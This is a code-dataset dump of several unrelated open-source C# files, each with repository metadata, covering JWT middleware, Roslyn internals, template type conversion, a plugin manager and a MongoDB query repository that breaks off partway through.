<summary> /// Add message to the console. /// </summary> /// <param name="message">The message to add.</param> static public void ConsoleMessage(string message) { if (UI.Console.Instance != null) { UI.Console.Instance.AddMessage(message); } } } }
27.982759
83
0.667283
[ "MIT" ]
UnsignedVoid/MSCMP
src/MSCMPMod/Client.cs
3,246
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Microsoft.CodeAnalysis.Text; namespace Microsoft.CodeAnalysis.CSharp { internal partial class BoundSequencePoint { public static BoundStatement Create( SyntaxNode? syntax, TextSpan? part, BoundStatement statement, bool hasErrors = false ) { if (part.HasValue) { // A bound sequence point is permitted to have a null syntax to make a hidden sequence point. return new BoundSequencePointWithSpan(syntax!, statement, part.Value, hasErrors); } else { // A bound sequence point is permitted to have a null syntax to make a hidden sequence point. return new BoundSequencePoint(syntax!, statement, hasErrors); } } public static BoundStatement Create( SyntaxNode? syntax, BoundStatement? statementOpt, bool hasErrors = false, bool wasCompilerGenerated = false ) { // A bound sequence point is permitted to have a null syntax to make a hidden sequence point. return new BoundSequencePoint(syntax!, statementOpt, hasErrors) { WasCompilerGenerated = wasCompilerGenerated }; } public static BoundStatement CreateHidden( BoundStatement? statementOpt = null, bool hasErrors = false ) { // A bound sequence point is permitted to have a null syntax to make a hidden sequence point. return new BoundSequencePoint(null!, statementOpt, hasErrors) { WasCompilerGenerated = true }; } } }
34.614035
109
0.591485
[ "MIT" ]
belav/roslyn
src/Compilers/CSharp/Portable/BoundTree/BoundSequencePoint.cs
1,975
C#
namespace _06.Birthday_Celebrations.Models { using Interfaces; public abstract class Buyer : LivingBeing, IBuyer { public Buyer(string birthDate, string name) : base(birthDate, name) { } public int Food { get; protected set; } public abstract void BuyFood(); } }
20.1875
75
0.622291
[ "MIT" ]
RAstardzhiev/SoftUni-C-
C# OOP Advanced/Interfaces and Abstraction - Exercises/06. Birthday Celebrations/Models/Buyer.cs
325
C#
using Microsoft.AspNetCore.Authentication; using Microsoft.AspNetCore.Authentication.JwtBearer; using Microsoft.AspNetCore.Builder; namespace Code.Together.Authentication.JwtBearer { public static class JwtTokenMiddleware { public static IApplicationBuilder UseJwtTokenMiddleware(this IApplicationBuilder app, string schema = JwtBearerDefaults.AuthenticationScheme) { return app.Use(async (ctx, next) => { if (ctx.User.Identity?.IsAuthenticated != true) { var result = await ctx.AuthenticateAsync(schema); if (result.Succeeded && result.Principal != null) { ctx.User = result.Principal; } } await next(); }); } } }
31.777778
149
0.56993
[ "MIT" ]
antonio-mikulic/code.together
aspnet-core/src/Code.Together.Web.Core/Authentication/JwtBearer/JwtTokenMiddleware.cs
860
C#
using Microsoft.Extensions.DependencyInjection; using System; using System.Collections.Generic; using System.Text; using System.Linq; using Microsoft.Extensions.Logging; namespace SmartCode.App { public class PluginManager : IPluginManager { private readonly SmartCodeOptions _smartCodeOptions; private readonly IServiceProvider _serviceProvider; private readonly ILogger<PluginManager> _logger; public PluginManager( SmartCodeOptions smartCodeOptions , IServiceProvider serviceProvider , ILogger<PluginManager> logger) { _smartCodeOptions = smartCodeOptions; _serviceProvider = serviceProvider; _logger = logger; } public TPlugin Resolve<TPlugin>(string name = "") where TPlugin : IPlugin { var plugins = ResolvePlugins<TPlugin>(); IPlugin plugin = default; if (plugins.Count() == 0) { var errMsg = $"Can not find any Plugin:{typeof(TPlugin).Name}"; _logger.LogError(errMsg); throw new SmartCodeException(errMsg); } if (String.IsNullOrEmpty(name)) { plugin = plugins.FirstOrDefault(); } else { plugin = plugins.FirstOrDefault(m => String.Equals(m.Name, name, StringComparison.CurrentCultureIgnoreCase)); if (plugin == null) { plugin = plugins.First(); var errMsg = $"Can not find Plugin:{typeof(TPlugin).Name},Name:{name},Use Default Plugin:{plugin.GetType().FullName}"; _logger.LogWarning(errMsg); } } _logger.LogDebug($"GetPlugin Name:{name},PluginType:{typeof(TPlugin).FullName},ImplType:{plugin.GetType().FullName}!"); return (TPlugin)plugin; } private IEnumerable<TPlugin> ResolvePlugins<TPlugin>() where TPlugin : IPlugin { var plugins = _serviceProvider.GetServices<TPlugin>(); foreach (var plugin in plugins) { lock (this) { if (!plugin.Initialized) { var pluginType = plugin.GetType(); var names = pluginType.AssemblyQualifiedName.Split(','); var typeName = names[0].Trim(); var assName = names[1].Trim(); var pluginConfig = _smartCodeOptions .Plugins .FirstOrDefault(m => m.ImplAssemblyName == assName && m.ImplTypeName == typeName); plugin.Initialize(pluginConfig.Parameters); } } } return plugins; } } }
36.898734
138
0.536192
[ "Apache-2.0" ]
Ahoo-Wang/SmartCode
src/SmartCode.App/PluginManager.cs
2,917
C#
// ----------------------------------------------------------------------- // <copyright file="TemplateContext.Helpers.cs" repo="TextScript"> // Copyright (C) 2018 Lizoc Inc. <http://www.lizoc.com> // The source code in this file is subject to the MIT license. // See the LICENSE file in the repository root directory for more information. // All or part thereof may be subject to other licenses documented below this header and // the THIRD-PARTY-LICENSE file in the repository root directory. // </copyright> // ----------------------------------------------------------------------- // Copyright (c) Alexandre Mutel. All rights reserved. // Licensed under the BSD-Clause 2 license. // See license.txt file in the project root for full license information. using System; using System.Collections; using System.Reflection; using System.Text; using Lizoc.TextScript.Functions; using Lizoc.TextScript.Parsing; using Lizoc.TextScript.Runtime; using Lizoc.TextScript.Syntax; namespace Lizoc.TextScript { public partial class TemplateContext { /// <summary> /// Returns a boolean indicating whether the against object is empty (array/list count = 0, null, or no members for a dictionary/script object) /// </summary> /// <param name="span"></param> /// <param name="against"></param> /// <returns></returns> public virtual object IsEmpty(SourceSpan span, object against) { if (against == null) return null; if (against is IList) return ((IList)against).Count == 0; if (against is IEnumerable) return !((IEnumerable)against).GetEnumerator().MoveNext(); if (against.GetType().IsPrimitiveOrDecimal()) return false; return GetMemberAccessor(against).GetMemberCount(this, span, against) > 0; } public virtual IList ToList(SourceSpan span, object value) { if (value == null) return null; if (value is IList) return (IList) value; var iterator = value as IEnumerable; if (iterator == null) throw new ScriptRuntimeException(span, RS.CastToListFailed); return new ScriptArray(iterator); } /// <summary> /// Called whenever an objects is converted to a string. This method can be overriden. /// </summary> /// <param name="span">The current span calling this ToString</param> /// <param name="value">The object value to print</param> /// <returns>A string representing the object value</returns> public virtual string ToString(SourceSpan span, object value) { if (value is string) return (string)value; if (value == null || value == EmptyScriptObject.Default) return null; if (value is bool) return ((bool)value) ? "true" : "false"; // If we have a primitive, we can try to convert it Type type = value.GetType(); if (type.IsPrimitiveOrDecimal()) { try { return Convert.ToString(value, CurrentCulture); } catch (FormatException ex) { throw new ScriptRuntimeException(span, string.Format(RS.CastToStringFailed, value.GetType()), ex); } } if (value is DateTime) { // Output DateTime only if we have the date builtin object accessible (that provides the implementation of the ToString method) var dateTimeFunctions = GetValue(DateTimeFunctions.DateVariable) as DateTimeFunctions; if (dateTimeFunctions != null) return dateTimeFunctions.ToString((DateTime)value, dateTimeFunctions.Format, CurrentCulture); } // Dump a script object var scriptObject = value as ScriptObject; if (scriptObject != null) return scriptObject.ToString(this, span); // If the value is formattable, use the formatter directly var fomattable = value as IFormattable; if (fomattable != null) return fomattable.ToString(); // If we have an enumeration, we dump it var enumerable = value as IEnumerable; if (enumerable != null) { StringBuilder result = new StringBuilder(); result.Append("["); bool isFirst = true; foreach (var item in enumerable) { if (!isFirst) result.Append(", "); result.Append(ToString(span, item)); isFirst = false; } result.Append("]"); return result.ToString(); } // Special case to display KeyValuePair as key, value string typeName = type.FullName; if (typeName != null && typeName.StartsWith("System.Collections.Generic.KeyValuePair")) { ScriptObject keyValuePair = new ScriptObject(2); keyValuePair.Import(value, renamer: this.MemberRenamer); return ToString(span, keyValuePair); } if (value is IScriptCustomFunction) return "<function>"; // Else just end-up trying to emit the ToString return value.ToString(); } /// <summary> /// Called when evaluating a value to a boolean. Can be overriden for specific object scenarios. /// </summary> /// <param name="span">The span requiring this conversion</param> /// <param name="value">An object value</param> /// <returns>The boolean representation of the object</returns> public virtual bool ToBool(SourceSpan span, object value) { // null -> false if (value == null || value == EmptyScriptObject.Default) return false; if (value is bool) return (bool)value; return true; } /// <summary> /// Called when evaluating a value to an integer. Can be overriden. /// </summary> /// <param name="span">The span requiring this conversion</param> /// <param name="value">The value of the object to convert</param> /// <returns>The integer value</returns> public virtual int ToInt(SourceSpan span, object value) { try { if (value == null) return 0; if (value is int) return (int)value; return Convert.ToInt32(value, CurrentCulture); } catch (FormatException ex) { throw new ScriptRuntimeException(span, string.Format(RS.CastToIntFailed, value.GetType()), ex); } } /// <summary> /// Called when trying to convert an object to a destination type. Can be overriden. /// </summary> /// <param name="span">The span requiring this conversion</param> /// <param name="value">The value of the object to convert</param> /// <param name="destinationType">The destination type to try to convert to</param> /// <returns>The object value of possibly the destination type</returns> public virtual object ToObject(SourceSpan span, object value, Type destinationType) { if (destinationType == null) throw new ArgumentNullException(nameof(destinationType)); // Make sure that we are using the underlying type of a a Nullable type destinationType = Nullable.GetUnderlyingType(destinationType) ?? destinationType; if (destinationType == typeof(string)) return ToString(span, value); if (destinationType == typeof(int)) return ToInt(span, value); if (destinationType == typeof(bool)) return ToBool(span, value); // Handle null case if (value == null) { if (destinationType == typeof(double)) return (double)0.0; if (destinationType == typeof(float)) return (float)0.0f; if (destinationType == typeof(long)) return (long)0L; if (destinationType == typeof(decimal)) return (decimal)0; return null; } Type type = value.GetType(); if (destinationType == type) return value; // Check for inheritance if (type.IsPrimitiveOrDecimal() && destinationType.IsPrimitiveOrDecimal()) { try { return Convert.ChangeType(value, destinationType, CurrentCulture); } catch (FormatException ex) { throw new ScriptRuntimeException(span, string.Format(RS.CastFailed, value.GetType(), destinationType), ex); } } if (destinationType == typeof(IList)) return ToList(span, value); if (destinationType.GetTypeInfo().IsAssignableFrom(type.GetTypeInfo())) return value; throw new ScriptRuntimeException(span, string.Format(RS.CastFailed, value.GetType(), destinationType)); } } }
37.968872
151
0.546833
[ "BSD-2-Clause", "MIT" ]
lizoc/textscript
src/Lizoc.TextScript/Source/Lizoc/TextScript/TemplateContext.Helpers.cs
9,760
C#
/* Microsoft Automatic Graph Layout,MSAGL Copyright (c) Microsoft Corporation All rights reserved. MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Resources; #if !RAZZLE // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("ViewerForGDI")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ViewerForGDI")] [assembly: AssemblyCopyright("Copyright © 2005")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("bda89cbd-7ad1-4cfb-ba7e-95c7279ab7e0")] [assembly: System.CLSCompliant(true)] #endif
38.842105
84
0.787715
[ "MIT" ]
0xbeecaffe/MSAGL
GraphLayout/tools/GraphViewerGDI/Properties/AssemblyInfo.cs
2,217
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace Microsoft.SqlServer.CatalogStore { using System; using System.Data.SqlClient; using Microsoft.Data.Sqlite; using Microsoft.EntityFrameworkCore; [System.ComponentModel.DataAnnotations.Schema.TableAttribute("sys_all_objects")] public partial class SysAllObjectCatalog { private string _name; private System.Nullable<int> _object_id; private System.Nullable<int> _principal_id; private System.Nullable<int> _schema_id; private System.Nullable<int> _parent_object_id; private string _type; private string _type_desc; private System.Nullable<System.DateTime> _create_date; private System.Nullable<System.DateTime> _modify_date; private System.Nullable<bool> _is_ms_shipped; private System.Nullable<bool> _is_published; private System.Nullable<bool> _is_schema_published; [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("name")] public string Name { get { return this._name; } set { this._name = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("object_id")] [System.ComponentModel.DataAnnotations.KeyAttribute()] public System.Nullable<int> ObjectId { get { return this._object_id; } set { this._object_id = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("principal_id")] public System.Nullable<int> PrincipalId { get { return this._principal_id; } set { this._principal_id = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("schema_id")] public System.Nullable<int> SchemaId { get { return this._schema_id; } set { this._schema_id = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("parent_object_id")] public System.Nullable<int> ParentObjectId { get { return this._parent_object_id; } set { this._parent_object_id = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("type")] public string Type { get { return this._type; } set { this._type = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("type_desc")] public string TypeDesc { get { return this._type_desc; } set { this._type_desc = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("create_date")] public System.Nullable<System.DateTime> CreateDate { get { return this._create_date; } set { this._create_date = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("modify_date")] public System.Nullable<System.DateTime> ModifyDate { get { return this._modify_date; } set { this._modify_date = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("is_ms_shipped")] public System.Nullable<bool> IsMsShipped { get { return this._is_ms_shipped; } set { this._is_ms_shipped = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("is_published")] public System.Nullable<bool> IsPublished { get { return this._is_published; } set { this._is_published = value; } } [System.ComponentModel.DataAnnotations.Schema.ColumnAttribute("is_schema_published")] public System.Nullable<bool> IsSchemaPublished { get { return this._is_schema_published; } set { this._is_schema_published = value; } } } }
26.721951
93
0.47992
[ "MIT" ]
pensivebrian/catalogstore
Microsoft.SqlServer.CatalogStore/CodeGen/SysAllObjectCatalog.g.cs
5,478
C#
using CardanoSharp.Wallet.Models.Transactions; using CardanoSharp.Wallet.Models.Transactions.Scripts; using CardanoSharp.Wallet.Models.Transactions.TransactionWitness.Scripts; using System; using System.Collections.Generic; using System.Text; namespace CardanoSharp.Wallet.TransactionBuilding { public class NativeScriptBuilder: ABuilder<NativeScript> { public NativeScriptBuilder() { _model = new NativeScript(); } public NativeScriptBuilder WithScriptPubKey(ScriptPubKey scriptPubKey) { _model.ScriptPubKey = scriptPubKey; return this; } public NativeScriptBuilder WithScriptAll(ScriptAll scriptAll) { _model.ScriptAll = scriptAll; return this; } public NativeScriptBuilder WithScriptAny(ScriptAny scriptAny) { _model.ScriptAny = scriptAny; return this; } public NativeScriptBuilder WithScriptNofK(ScriptNofK scriptNofK) { _model.ScriptNofK = scriptNofK; return this; } public NativeScriptBuilder WithScriptInvalidAfter(ScriptInvalidAfter invalidAfter) { _model.InvalidAfter = invalidAfter; return this; } public NativeScriptBuilder WithScriptInvalidBefore(ScriptInvalidBefore invalidBefore) { _model.InvalidBefore = invalidBefore; return this; } } }
27.722222
93
0.648631
[ "MIT" ]
eddex/cardanosharp-wallet
CardanoSharp.Wallet/TransactionBuilding/NativeScriptBuilder.cs
1,499
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. // namespace Test { using System; class AA { public static bool m_bStatic1 = true; } struct BB { public int Method1() { try { } finally { #pragma warning disable 1718 while ((bool)(object)(AA.m_bStatic1 != AA.m_bStatic1)) #pragma warning restore { } } return 0; } static int Main() { new BB().Method1(); return 100; } } }
20.108108
71
0.504032
[ "MIT" ]
06needhamt/runtime
src/coreclr/tests/src/JIT/Regression/CLR-x86-JIT/V1-M11-Beta1/b44297/b44297.cs
744
C#
using System.Linq.Expressions; using MongoDB.Driver; using MongoDB.Driver.Linq; using Repository.Abstractions; namespace Repository.MongoDB; public abstract class MongoQueryRepository<T> : IDocumentQueryRepository<T> where T : class { protected readonly IMongoQueryable<T> Query; protected MongoQueryRepository(IMongoCollection<T> collection) : this(collection.AsQueryable()) { } protected MongoQueryRepository(IMongoQueryable<T> query) { Query = query; } public Task<bool> AnyAsync(CancellationToken cancellationToken = default) => Query.AnyAsync(cancellationToken); public Task<bool> AnyAsync(Expression<Func<T, bool>> filter, CancellationToken cancellationToken = default) => Query.AnyAsync(filter, cancellationToken); public Task<bool> AnyAsync<TChild>(CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().AnyAsync(cancellationToken); public Task<bool> AnyAsync<TChild>(Expression<Func<TChild, bool>> filter, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().AnyAsync(filter, cancellationToken); public Task<int> CountAsync(CancellationToken cancellationToken = default) => Query.CountAsync(cancellationToken); public Task<int> CountAsync(Expression<Func<T, bool>> filter, CancellationToken cancellationToken = default) => Query.CountAsync(filter, cancellationToken); public Task<int> CountAsync<TChild>(CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().CountAsync(cancellationToken); public Task<int> CountAsync<TChild>(Expression<Func<TChild, bool>> filter, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().CountAsync(filter, cancellationToken); public Task<long> LongCountAsync(CancellationToken cancellationToken = default) => Query.LongCountAsync(cancellationToken); public Task<long> LongCountAsync(Expression<Func<T, bool>> filter, CancellationToken cancellationToken = default) => Query.LongCountAsync(filter, cancellationToken); public Task<long> LongCountAsync<TChild>(CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().LongCountAsync(cancellationToken); public Task<long> LongCountAsync<TChild>(Expression<Func<TChild, bool>> filter, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().LongCountAsync(filter, cancellationToken); public Task<T> FirstAsync(CancellationToken cancellationToken = default) => Query.FirstAsync(cancellationToken); public Task<T> FirstAsync(Expression<Func<T, bool>> filter, CancellationToken cancellationToken = default) => Query.FirstAsync(filter, cancellationToken); public Task<TChild> FirstAsync<TChild>(CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().FirstAsync(cancellationToken); public Task<TChild> FirstAsync<TChild>(Expression<Func<TChild, bool>> filter, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().FirstAsync(filter, cancellationToken); public Task<TProjection> FirstAsync<TProjection>(Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Select(projection).FirstAsync(cancellationToken); public Task<TProjection> FirstAsync<TProjection>(Expression<Func<T, bool>> filter, Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Where(filter).Select(projection).FirstAsync(cancellationToken); public Task<TProjection> FirstAsync<TChild, TProjection>(Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Select(projection).FirstAsync(cancellationToken); public Task<TProjection> FirstAsync<TChild, TProjection>(Expression<Func<TChild, bool>> filter, Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).Select(projection).FirstAsync(cancellationToken); public Task<T?> FirstOrDefaultAsync(CancellationToken cancellationToken = default) => Query.FirstOrDefaultAsync(cancellationToken); public Task<T?> FirstOrDefaultAsync(Expression<Func<T, bool>> filter, CancellationToken cancellationToken = default) => Query.FirstOrDefaultAsync(filter, cancellationToken); public Task<TChild?> FirstOrDefaultAsync<TChild>(CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().FirstOrDefaultAsync(cancellationToken); public Task<TChild?> FirstOrDefaultAsync<TChild>(Expression<Func<TChild, bool>> filter, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().FirstOrDefaultAsync(filter, cancellationToken); public Task<TProjection?> FirstOrDefaultAsync<TProjection>(Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Select(projection).FirstOrDefaultAsync(cancellationToken); public Task<TProjection?> FirstOrDefaultAsync<TProjection>(Expression<Func<T, bool>> filter, Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Where(filter).Select(projection).FirstOrDefaultAsync(cancellationToken); public Task<TProjection?> FirstOrDefaultAsync<TChild, TProjection>(Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Select(projection).FirstOrDefaultAsync(cancellationToken); public Task<TProjection?> FirstOrDefaultAsync<TChild, TProjection>(Expression<Func<TChild, bool>> filter, Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).Select(projection).FirstOrDefaultAsync(cancellationToken); public Task<T> SingleAsync(CancellationToken cancellationToken = default) => Query.SingleAsync(cancellationToken); public Task<T> SingleAsync(Expression<Func<T, bool>> filter, CancellationToken cancellationToken = default) => Query.SingleAsync(filter, cancellationToken); public Task<TChild> SingleAsync<TChild>(CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().SingleAsync(cancellationToken); public Task<TChild> SingleAsync<TChild>(Expression<Func<TChild, bool>> filter, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().SingleAsync(filter, cancellationToken); public Task<TProjection> SingleAsync<TProjection>(Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Select(projection).SingleAsync(cancellationToken); public Task<TProjection> SingleAsync<TProjection>(Expression<Func<T, bool>> filter, Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Where(filter).Select(projection).SingleAsync(cancellationToken); public Task<TProjection> SingleAsync<TChild, TProjection>(Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Select(projection).SingleAsync(cancellationToken); public Task<TProjection> SingleAsync<TChild, TProjection>(Expression<Func<TChild, bool>> filter, Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).Select(projection).SingleAsync(cancellationToken); public Task<T?> SingleOrDefaultAsync(CancellationToken cancellationToken = default) => Query.SingleOrDefaultAsync(cancellationToken); public Task<T?> SingleOrDefaultAsync(Expression<Func<T, bool>> filter, CancellationToken cancellationToken = default) => Query.SingleOrDefaultAsync(filter, cancellationToken); public Task<TChild?> SingleOrDefaultAsync<TChild>(CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().SingleOrDefaultAsync(cancellationToken); public Task<TChild?> SingleOrDefaultAsync<TChild>(Expression<Func<TChild, bool>> filter, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().SingleOrDefaultAsync(filter, cancellationToken); public Task<TProjection?> SingleOrDefaultAsync<TProjection>(Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Select(projection).SingleOrDefaultAsync(cancellationToken); public Task<TProjection?> SingleOrDefaultAsync<TProjection>(Expression<Func<T, bool>> filter, Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Where(filter).Select(projection).SingleOrDefaultAsync(cancellationToken); public Task<TProjection?> SingleOrDefaultAsync<TChild, TProjection>(Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Select(projection).FirstOrDefaultAsync(cancellationToken); public Task<TProjection?> SingleOrDefaultAsync<TChild, TProjection>(Expression<Func<TChild, bool>> filter, Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).Select(projection).FirstOrDefaultAsync(cancellationToken); public Task<IReadOnlyDictionary<TKey, TValue>> ToDictionaryAsync<TProjection, TKey, TValue>(Expression<Func<T, TProjection>> projection, Func<TProjection, TKey> keySelector, Func<TProjection, TValue> valueSelector, CancellationToken cancellationToken = default) where TKey : notnull => Query.Select(projection).ToDictionaryImpl(keySelector, valueSelector, cancellationToken); public Task<IReadOnlyDictionary<TKey, TValue>> ToDictionaryAsync<TProjection, TKey, TValue>(Expression<Func<T, bool>> filter, Expression<Func<T, TProjection>> projection, Func<TProjection, TKey> keySelector, Func<TProjection, TValue> valueSelector, CancellationToken cancellationToken = default) where TKey : notnull => Query.Where(filter).Select(projection).ToDictionaryImpl(keySelector, valueSelector, cancellationToken); public Task<IReadOnlyDictionary<TKey, TValue>> ToDictionaryAsync<TChild, TProjection, TKey, TValue>(Expression<Func<TChild, TProjection>> projection, Func<TProjection, TKey> keySelector, Func<TProjection, TValue> valueSelector, CancellationToken cancellationToken = default) where TChild : T where TKey : notnull => Query.OfType<TChild>().Select(projection).ToDictionaryImpl(keySelector, valueSelector, cancellationToken); public Task<IReadOnlyDictionary<TKey, TValue>> ToDictionaryAsync<TChild, TProjection, TKey, TValue>(Expression<Func<TChild, bool>> filter, Expression<Func<TChild, TProjection>> projection, Func<TProjection, TKey> keySelector, Func<TProjection, TValue> valueSelector, CancellationToken cancellationToken = default) where TChild : T where TKey : notnull => Query.OfType<TChild>().Where(filter).Select(projection).ToDictionaryImpl(keySelector, valueSelector, cancellationToken); public Task<IReadOnlyList<T>> ToListAsync(CancellationToken cancellationToken = default) => Query.ToListImpl(cancellationToken); public Task<IReadOnlyList<T>> ToListAsync(Expression<Func<T, bool>> filter, CancellationToken cancellationToken = default) => Query.Where(filter).ToListImpl(cancellationToken); public Task<IReadOnlyList<T>> ToListAsync(Order<T> order, CancellationToken cancellationToken = default) => Query.OrderBy(order).ToListImpl(cancellationToken); public Task<IReadOnlyList<T>> ToListAsync(int count, int page = 1, CancellationToken cancellationToken = default) => Query.Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<T>> ToListAsync(Expression<Func<T, bool>> filter, Order<T> order, CancellationToken cancellationToken = default) => Query.Where(filter).OrderBy(order).ToListImpl(cancellationToken); public Task<IReadOnlyList<T>> ToListAsync(Expression<Func<T, bool>> filter, int count, int page = 1, CancellationToken cancellationToken = default) => Query.Where(filter).Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<T>> ToListAsync(Order<T> order, int count, int page = 1, CancellationToken cancellationToken = default) => Query.Page(count, page).OrderBy(order).ToListImpl(cancellationToken); public Task<IReadOnlyList<T>> ToListAsync(Expression<Func<T, bool>> filter, Order<T> order, int count, int page = 1, CancellationToken cancellationToken = default) => Query.Where(filter).Page(count, page).OrderBy(order).ToListImpl(cancellationToken); public Task<IReadOnlyList<TChild>> ToListAsync<TChild>(CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().ToListImpl(cancellationToken); public Task<IReadOnlyList<TChild>> ToListAsync<TChild>(Expression<Func<TChild, bool>> filter, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).ToListImpl(cancellationToken); public Task<IReadOnlyList<TChild>> ToListAsync<TChild>(Order<T, TChild> order, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().OrderBy(order).ToListImpl(cancellationToken); public Task<IReadOnlyList<TChild>> ToListAsync<TChild>(int count, int page = 1, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<TChild>> ToListAsync<TChild>(Expression<Func<TChild, bool>> filter, Order<T, TChild> order, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).OrderBy(order).ToListImpl(cancellationToken); public Task<IReadOnlyList<TChild>> ToListAsync<TChild>(Expression<Func<TChild, bool>> filter, int count, int page = 1, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<TChild>> ToListAsync<TChild>(Order<T, TChild> order, int count, int page = 1, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Page(count, page).OrderBy(order).ToListImpl(cancellationToken); public Task<IReadOnlyList<TChild>> ToListAsync<TChild>(Expression<Func<TChild, bool>> filter, Order<T, TChild> order, int count, int page = 1, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).Page(count, page).OrderBy(order).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TProjection>(Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Select(projection).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TProjection>(Expression<Func<T, bool>> filter, Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Where(filter).Select(projection).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TProjection>(Order<T> order, Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.OrderBy(order).Select(projection).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TProjection>(Expression<Func<T, TProjection>> projection, int count, int page = 1, CancellationToken cancellationToken = default) => Query.Select(projection).Page(count, page).ToListImpl(cancellationToken); public 